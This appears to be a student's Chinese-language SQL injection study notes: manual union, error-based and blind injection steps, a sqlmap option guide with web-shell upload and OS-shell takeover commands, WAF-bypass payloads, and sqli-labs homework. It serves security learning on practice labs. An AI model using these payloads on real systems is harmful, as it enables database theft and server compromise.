目录
任务1 总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法
4.逗号绕过(使用from或者offset(偏移量)或者jion或者like或者limit)
使用from for的方式来解决mid、substr、left函数:
5.比较符号(<>)绕过(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本)
8."="符号 绕过(like 、rlike 、regexp 或者 < 或者 >)
任务2 sqli-labs通关前5关,并写出解题步骤,必须手工过关,禁止使用sqlmap
今天讲的是sql注入,还是先将上课内容过一遍再搞作业。
SQLi手工步骤
1.判断是否存在注入点
- 登录
- 注册
- 验证用户身份所属
- 查询某日xx信息
- 订单操作
2.判断字段数量
在注入点后添加语句order by int
,int的值可以是任意数字,但是一个数据表的字段数量通常不超过10,若传的int值小于等于字段数量则正常回显,若大于字段数量,则无法正常显示
' order by int--+
--
注释
在SQL中,--
是一种单行注释的开始。但是,--
后面必须紧跟一个空格(或其他非数字、非字母的字符),之后的所有内容才会被当作注释处理。所以如果--
后面直接跟了数字、字母或某些特殊字符(不包括空格),那么它不会被视为注释的开始,SQL解析器会尝试将--
作为查询的一部分来解析。
3.判断字段前段回显位置
在链接后面添加语句union selec1,2,3,4,5,6,7,8,9,10,#
进行联合查询的字段号,看哪些字段是可以返回给我们前端进行渲染的,不进行返回的字段我们无法利用
4.判断数据库信息
# 利⽤内置函数暴数据库信息
version() -- 版本;
database() -- 数据库;
user() -- ⽤户;
# 不⽤猜解可⽤字段暴数据库信息(有些⽹站不适⽤)
and 1=2 union all select version() and 1=2
union all select database() and 1=2
union all select user()
# 操作系统信息:
and 1=2 union all select @@global.version_compile_os from mysql.user
# 数据库权限:
and ord(mid(user(),1,1))=114 -- 返回正常说明为root
5.查找数据库名
Mysql 5 以上有内置库 information_schema存储着mysql的所有数据库和表结构信息
union select information_schema from information_schema.schemata (语句在显示位)
6. 查找数据库表名
union select group_concat(table_name) from information_schema.tables where table_schema=database()--+
7.查找列名
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='biaoming'),3,4#
8.查数据
-1' union select 1,(select columnsname from tablename),3,4#
漏洞利用之SQLi
sqlmap简介
当给sqlmap⼀个URL,它会干些什么?
1)判断可注⼊的参数
2)判断可以用那种SQL注入技术来注入
3)识别出哪种数据库
4)根据用户选择,读取哪些数据
--purge #清除历史缓存
选项摘要
输出信息的详细程度
-v #共7个级别(0~6),默认为1
#可以⽤ -vv 代替 -v 2,推荐使⽤这种⽅法
0:只输出 Python 出错回溯信息,错误和关键信息
1:增加输出普通信息和警告信息
2:增加输出调试信息
3:增加输出已注⼊的 payloads
4:增加输出 HTTP 请求
5:增加输出 HTTP 响应头
6:增加输出 HTTP 响应内容
目标
-d #直连数据库,"mysql://root:root@192.168.0.8:3306/testdb"
-u URL
-l #从Burp代理⽇志⽂件中解析⽬标地址
-m #从⽂本⽂件中批量获取⽬标
-r #从⽂件中读取 HTTP 请求
--purge #清除历史缓存
--flush-session #清除上次扫描的缓存
请求
指定连接目标地址的方式
--method=METHOD #强制使⽤提供的 HTTP ⽅法(例如:PUT)
--data=DATA #使⽤ POST 发送数据串;--data="id=1&user=admin"
--param-del=";" #使⽤参数分隔符,--data="id=1;user=admin"
--cookie=COOKIE #指定 HTTP Cookie ,--cookie "id=11" --level 2
--drop-set-cookie #忽略 HTTP 响应中的 Set-Cookie 参数
--user-agent=AGENT #指定 HTTP User-Agent
--random-agent #使⽤随机的 HTTP User-Agent,随机从 ./txt/user-agents.txt
选⼀个,不是每次请求换⼀个
--referer=REFERER #指定 HTTP Referer
-H HEADER #设置额外的 HTTP 头参数(例如:"X-Forwarded-For: 127.0.0.1")
--headers=HEADERS #设置额外的 HTTP 头参数,必须以换⾏符分隔(例如:"Accept-Langua
ge: fr\nETag: 123")
--delay=10 #设置每个 HTTP 请求的延迟秒数
--safe-freq=SAFE #每访问两次给定的合法 URL 才发送⼀次测试请求
注入
# 以下选项⽤于指定要测试的参数
# 提供⾃定义注⼊ payloads 和篡改参数的脚本
-p TESTPARAMETER #指定需要测试的参数
--skip=SKIP #指定要跳过的参数
--dbms=DBMS #指定 DBMS 类型(例如:MySQL)
--os=OS #指定 DBMS 服务器的操作系统类型
--prefix=PREFIX #注⼊ payload 的前缀字符串
--suffix=SUFFIX #注⼊ payload 的后缀字符串
--tamper=TAMPER #⽤给定脚本修改注⼊数据
检测
sqlmap 使用的 payloads 直接从文本文件 xml/payloads.xml 中载入。
根据该文件顶部的相关指导说明进⾏设置,如果 sqlmap 漏过了特定的注入,你可以选择自己修改指定的payload ⽤于检测。
level有5级,越高检测越全,默认为 1
- level 1 检测Get和Post
- level 2 检测HTTP Cookie
- level 3 检测User-Agent和Referer
- level 4 检测
- level 5 检测 HOST 头
risk有3级,级别越高风险越大,默认为1
- risk 2 会在默认的检测上添加大量时间型盲注语句测试
- risk 3 会在原基础上添加 OR 类型的布尔型盲注 ,可能会update导致修改数据库
技术(不常用)
# 以下选项⽤于调整特定 SQL 注⼊技术的测试⽅法
--technique=TECH #使⽤的 SQL 注⼊技术(默认为“BEUSTQ”)
B: Boolean-based blind SQL injection(布尔型盲注)
E: Error-based SQL injection(报错型注⼊)
U: UNION query SQL injection(联合查询注⼊)
S: Stacked queries SQL injection(堆查询注⼊)
T: Time-based blind SQL injection(时间型盲注)
Q: inline Query injection(内联查询注⼊)
--time-sec=TIMESEC #设置延时注⼊的时间(默认为 5)
--second-order=S.. #设置⼆阶响应的结果显示⻚⾯的 URL(该选项⽤于⼆阶 SQL 注⼊)
枚举
# 以下选项⽤于获取数据库的信息,结构和数据表中的数据。
-a, --all #获取所有信息、数据
-b, --banner #获取 DBMS banner,返回数据库的版本号
--current-user #获取 DBMS 当前⽤户
--current-db #获取 DBMS 当前数据库
--hostname #获取 DBMS 服务器的主机名
--is-dba #探测 DBMS 当前⽤户是否为 DBA(数据库管理员)
--users #枚举出 DBMS 所有⽤户
--passwords #枚举出 DBMS 所有⽤户的密码哈希
--privileges #枚举出 DBMS 所有⽤户特权级
--roles #枚举出 DBMS 所有⽤户⻆⾊
--dbs #枚举出 DBMS 所有数据库
--tables #枚举出 DBMS 数据库中的所有表
--columns #枚举出 DBMS 表中的所有列
--schema #枚举出 DBMS 所有模式
--count #获取数据表数⽬
--dump #导出 DBMS 数据库表项
--stop 10 #只取前10⾏数据
-D DB #指定要枚举的 DBMS 数据库
-T TBL #指定要枚举的 DBMS 数据表
-C COL #指定要枚举的 DBMS 数据列
--sql-query=QUERY #指定要执⾏的 SQL 语句
--os-shell #调出交互式 SQL shell
用例
从文件读取HTTP请求,GET和POST都可以
sqlmap -r "burp.txt" -p "username" #-p 指定存在注⼊的参数
Cookie注入
sqlmap -u "http://www.vuln.com" --cookie "id=11" --level 2
当防火墙,对请求速度做了限制
sqlmap -u "http://www.vuln.com/post.php?id=1" --delay=10
#在每个HTTP请求之间的延迟10秒
伪静态注入
sqlmap -u http://victim.com/id/666*.html --dbs #在html扩展名前加个'*'
访问文件系统
仅对MySQL、MSSQL、PosgreSQL有效
数据库用户有读写权限,有目录读写文件权限
sqlmap -u url --is-dba
#查看是否dba权限,必须为root权限
sqlmap -u url --file-read "C:/Windows/win.ini"
#读取⽂件
sqlmap -u url --file-write=D:/shell.php --file-dest=C:/www/shell.php
#上传⽂件 (本地⽊⻢路径:⽬标⽹站⽬录)
接管操作系统
仅对MySQL、MSSQL、PosgreSQL有效
数据库用户有读写权限,有目录读写文件权限
sqlmap 能够在数据库所在服务器的操作系统上运行任意的命令
sqlmap -u "URL" --os-shell #获取系统交互shell或--os-cmd=id执⾏系统命令
原理(opens new window)就是上传⼀个upload木马后,再上传⼀个cmd shell;当 --os-shell 退出后, 会调用后门脚本删除上传文件后,进行自删除。
在 MySQL 和 PostgreSQL 中,sqlmap 可以上传⼀个包含两个用户自定义函数分别为 sys_exec() 和 sys_eval() 的共享库(⼆进制文件)然后在数据库中创建出两个对应函数,并调用对应函数执行特定的命令,并允许用户选择是否打印出相关命令执行的结果。
在 Microsoft SQL Server 中,sqlmap 会利用xp_cmdshell
存储过程:
如果该存储过程被关闭了(Microsoft SQL Server 的 2005 及以上版本默认关闭),sqlmap 则会将其重新打开;如果该存储过程不存在,sqlmap 则会重新创建它。当用户请求标准输出,sqlmap 将使⽤任何可用的 SQL 注入技术(盲注、带内注入、报错型注入)去获取对应结果。
相反,如果无需标准输出对应结果,sqlmap 则会使用堆叠查询注入(Stacked queries)技术执行相关的命令。
如果堆叠查询没有被 Web 应⽤识别出来,并且 DBMS 为 MySQL,假如后端 DBMS 和 Web 服务器在同⼀台服务器上,则仍可以通过利用 SELECT
语句中的INTO OUTFILE
,在根目录可写目录中写shell
UDF提权
使用选项 --udf-inject
并按照说明进行操作即可;如果需要,也可以使用--shared-lib
选项通过命令行指定共享库的本地文件系统路径。否则 sqlmap 会在运行时向你询问路径。此功能仅对 MySQL 或 PostgreSQL 有用。
tamper脚本
use age:sqlmap.py --tamper="模块名.py"
apostrophemask #将单引号 url 编码
apostrophenullencode #将单引号替换为宽字节 unicode 字符
base64encode #base64 编码
between #将⼤于符号和等号⽤ between 语句替换,⽤于过滤了⼤于符号和等号的情况
bluecoat #⽤随机的空⽩字符代替空格,并且将等号替换为 like ,⽤于过滤了空格和等号的情况
charencode #⽤ url 编码⼀次你的 payload
charunicodeencode #⽤ unicode 编码 payload ,只编码⾮编码字符
任务1 总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法
SQL注入原理
SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
SQL注入常用函数及含义
database() # 该函数可以显示当前正在使用的数据库库名。
mid(column_name,start[,length]) # 该函数可以从指定的字段中提取出字段的内容。
substr(str,start,length) # 第一个参数可以是字符串也可以是列的名字,与mid有点类似
ord() # 以一个字符(长度为1的字符串)作为参数,返回对应的ASCII数值,或者Unicode数值
ascii() # 取字符的ascii码,若ord被禁用可使用ascii
limit和offset函数 # limit和offset均用于限制查询结果显示的行数。
# limit后面可以有1个或两个参数。
# 一个参数时,limit 0会得到空集合,值大于查询结果返回的行数时,显示全部结果,负值会报错
# 两个参数时,第一个参数表示开始位置(0作为最开始的位置),第二个参数表示显示的行数。
select host from user limit 1 offset 2; # 表示从第二个开始,显示一条数据
order by
# order by是mysql中对查询数据进行排序的方法。在sql注入中,经常被用来测试一个表中有多少列
concat()
#将多个字符串连接起来,参数个数无限。但是注意如果有一个参数的值是NULL,那么整行结果就会返回一个NULL。
group_concat()
# 该函数可以将查询结果连成一行,如果只查询一列,默认用逗号分隔;如果查询多列,每一行的查询结果会直接进行字符串连接,行之间默认用逗号分隔。需要注意的是,用于分隔的默认字符可以修改。
updatexml(XML_document,XPath_string,new_value) # 若无回显位就不要用这个了,考虑时间注入。
# 主要是填写错误的xpath参数使查询报错,报错时会把xpath位置的查询结果暴露出来。第一个参数:XML_document是String格式,为XML文档对象的名称;第二个参数:XPath_string (Xpath格式的字符串);第三个参数:new_value,String格式,替换查找到的符合条件的数据;该函数对XPath_string进行查询操作,如果符合语法格式要求,则用第三个参数替换,不符合语法格式要求,则会报错并带出查询的结果。
select updatexml(1,concat(0x7e,version(),0x7e),1);
# 0x7e代表波浪号,分割作用方便观察信息
SQL注入防御手段
核心出发点:防御边界符(通常是单引号)
- magic_quotes_gpc
- mysql_real_escape_string(字符集问题)
- 转义边界符
- 预编译绑定
- WAF(Web Application Firewall),Web应用防火墙,SafeLine(雷池)
防御二次注入
二次注入:数据进入数据库后,数据库对转义字符进行反转义,当该数据再次被取出时进入SQL语句中,引发SQL注入。相应地,还有三次注入、四次注入等多次注入
SQL注入常用绕过waf的方法
要绕过waf,就要先知道waf拦截sqli的原理是什么?
WAF拦截原理
WAF从规则库中匹配敏感字符进行拦截(正则表达)
1.绕过空格(常用:注释符/**/,%a0)
%20 :表示空格字符
%09 :表示水平制表符(Tab 键)
%0a :表示换行符(LF,Line Feed)
%0b :表示垂直制表符
%0c :表示换页符
%0d :表示回车符(CR,Carriage Return)
%A0 :不是常见的标准编码,可能是特定上下文中的自定义编码
%00 :表示空字符(Null 字符)
/**/ :通常用于注释。在 /**/ 之间的内容会被视为注释,不会被执行,即可用注释代替空格
/*!*/:特定的一种特殊注释形式
2.括号绕过空格
如果空格被过滤,括号没有被过滤,可以用括号绕过。在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
select(user())from xxx where(1=1)and(2=2)
这种过滤方法常常用于time based盲注
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
# 注意:“109”表示m %27为' %23为#
# 上面的方法既没有逗号也没有空格。猜解database()第一个字符ascii码是否为109,若是则加载延时。
# from for属于逗号绕过下面会有
3.引号绕过(引号内字母转十六进制)
会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单的用来得到users表中所有字段的一条语句
select column_name from information_schema.tables where table_name="users"
这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:
select column_name from information_schema.tables where table_name=0x7573657273
4.逗号绕过(使用from或者offset(偏移量)或者jion或者like或者limit)
在使用sql盲注时:
- mid(a,b,c): 从b开始,截取a字符串的c位
- substr(a,b,c): 从b开始,截取字符串a的c长度
- left() : left(a,b)从左侧截取a的前b位
- Limit:LIMIT 主要用于限制查询结果返回的行数
使用原因:在造子句都需要使用到逗号(利用from、offset进行绕过)
使用from for的方式来解决mid、substr、left函数:
select substr(database(),1,1);
select mid(database(),1,1);
# 上面等价于下面 作用都为返回的结果中提取从第 1 个位置开始,长度为 1 的子字符串
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
JOIN(连接)
主要作用是根据指定的条件将来自多个表的数据关联起来,以便能够从相关的表中获取更全面和有用的信息
union select 1,2
# 等价于(注意:后面的a以及b为别名):
union select * from (select 1)a join (select 2)b
like(模糊查询)
like '%关键字%' 是一个条件筛选部分
select ascii(mid(user(),1,1))=80
#等价于(注意:检查当前用户的信息是否以 u 开头):
select user() like 'u%'
limit可以使用offset来绕过
select * from news limit 0,1
# 等价于(注意:从表news中选择数据。LIMIT 1表示只返回 1 行数据。OFFSET 0表示从结果集的开头(第 0 行)开始返回):
select * from news limit 1 offset 0
5.比较符号(<>)绕过(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本)
利用函数greatest()、least()
- greatest():函数接受多个参数,并返回其中的最大值
例如:select greatest(10, 20, 5, 15); 值为:20 - least():函数接受多个参数,并返回其中的最小值
例如:select least(10, 20, 5, 15); 值为:5
在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。
最常见的一个盲注的sql语句:
select * from users where id=1 and ascii(substr(database(),0,1))>64
等价于
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
使用between and:
between a and b:
between 1 and 1; # 等价于 =1
6.or and xor not绕过
and=&& or=|| xor=| not=!
7.绕过注释符号(#,--(后面跟一个空格))过滤
利用:or等价于||、或者直接'
?id=-1 union select 1,2,3 # 或者?id=-1 union select 1,2,3 --+
# 等价于:
?id=-1 union select 1,2,3||'
# 等价于:
?id=-1 union select 1,2,’3
但是这个样子的话,若位置3原本可以回显,使用这种方式位置3就回显不了东西了。
8."="符号 绕过(like 、rlike 、regexp 或者 < 或者 >)
like
LIKE 用于在查询中进行模式匹配。它通常与通配符 %(代表任意字符序列,包括空字符序列)和 _(代表任意单个字符)一起使用。
SELECT * FROM users WHERE name LIKE '%John%'; -- 查找名字中包含 "John" 的用户
SELECT * FROM users WHERE name LIKE 'J___'; -- 查找以 "J" 开头且后面跟三个任意字符的用户
RLIKE 或 REGEXP
RLIKE(在 MySQL 中通常称为REGEXP)用于执行正则表达式匹配。正则表达式提供了更强大和灵活的模式匹配能力。
SELECT * FROM users WHERE name REGEXP '^[A-Z].*'; -- 查找以大写字母开头的名字
SELECT * FROM users WHERE name REGEXP '[0-9]+'; -- 查找包含至少一个数字的名字
< 和 >
< 用于比较小于某个值,> 用于比较大于某个值。
SELECT * FROM products WHERE price < 100; -- 查找价格小于 100 的产品
SELECT * FROM products WHERE quantity > 50; -- 查找数量大于 50 的产品
9.绕过union,select,where等
使用注释符绕过
//,-- , /**/, #, --+, -- -, ;,%00,--a
# eg:
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
使用大小写绕过:
id=-1'UnIoN/**/SeLeCT
内联注释绕过:
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
双写关键字绕过(若删除掉第一个匹配的union就能绕过):
此种情况属于过滤不严
id=-1'UNIunionON/**/SeLselectECT1,2,3–-+
10.等价函数绕过
hex()、bin() ==> ascii()
hex() 函数用于将一个值转换为十六进制字符串表示。
bin() 函数用于将一个值转换为二进制字符串表示。
ascii() 函数用于返回字符的 ASCII 值
sleep() ==>benchmark()
sleep() 函数用于使当前的查询暂停指定的时间。
benchmark() 函数通常用于性能测试,通过重复执行一个表达式来消耗一定的时间。
concat_ws()==>group_concat()
concat_ws() 函数用于将多个字符串按照指定的分隔符连接起来。
group_concat() 函数通常用于将分组中的多行数据连接成一个字符串。
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:当substring()和substr()都无法使用时:
?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
通用绕过WAF方法
1.编码
如URLEncode编码,ASCII,HEX,unicode编码绕过:
or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(84)+CHAR(97)+CHAR(115)+CHAR(116)
# 在 SQL 中,CHAR() 函数用于返回指定 ASCII 值对应的字符。
CHAR(84)对应字符'T',CHAR(101)对应字符'e',CHAR(115) 对应字符's',CHAR(116)对应字符't' 。
2.HTTP Method绕过
提交方式修改GET\POST\REQUEST,或者不存在的提交方式
3.HTTP 参数污染
下面的老师上课没怎么讲,所以这里也就只列举一下总结。
3. 构造超长HTTP报文
4. SSRF边界绕过
5. DOS绕过
6. 云WAF 真实IP Bypass
- 分站、子域名
- 寻找邮件服务器
- 服务外连(外网SSRF)
- ZMap
任务2 sqli-labs通关前5关,并写出解题步骤,必须手工过关,禁止使用sqlmap
也是参考我的个人博客:sqli-labs通关实践 – The-Starry-Sky
暂未完善完,因为之前写的有点low,好吧,不只是有点low,是根本没咋写,所以打算趁这个机会完善一下,目前仅供参考。
任务3 总结SQLi的手工注入的步骤
见今日知识点SQLi手工步骤
任务4 使用sqlmap通过或验证第六关
使用sqlmap进行测试
sqlmap -u http://47.116.79.79:8889/Less-6/?id=1
拿payload去第六关验证,使用第二个payload,验证成功
id=1" AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b766a71,(SELECT (ELT(9956=9956,1))),0x7178717671,0x78))s), 8446744073709551610, 8446744073709551610)))-- cDmV
参考
- 【超详细版】SQL注入原理及思路绕过:【超详细版】SQL注入原理及思路绕过(看这篇就够了)_sql注入万能密码绕过登录-CSDN博客
- SQL-Inject 注入类型及绕过waf思维分析原理:SQL-Inject 注入类型及绕过waf思维分析原理-附带Payloads备忘录大全(精选) - FreeBuf网络安全行业门户
- SQL注入常用函数和关键字总结:SQL注入常用函数和关键字总结-腾讯云开发者社区-腾讯云
- SQL注入语句总结及常用函数解释:SQL注入语句总结及常用函数解释_sql注入常用函数都有哪些?语法是什么?都起到什么用途?-CSDN博客
- sql注入之order by注入:https://yang1k.github.io/post/sql注入之order by注入/
- 【WAF BYPASS】SQL注入漏洞之WAF绕过方式探索(万种):【WAF BYPASS】SQL注入漏洞之WAF绕过方式探索(万种)_sql注入绕过waf-CSDN博客
- SQL注入绕过技巧:https://www.cnblogs.com/Vinson404/p/7253255.html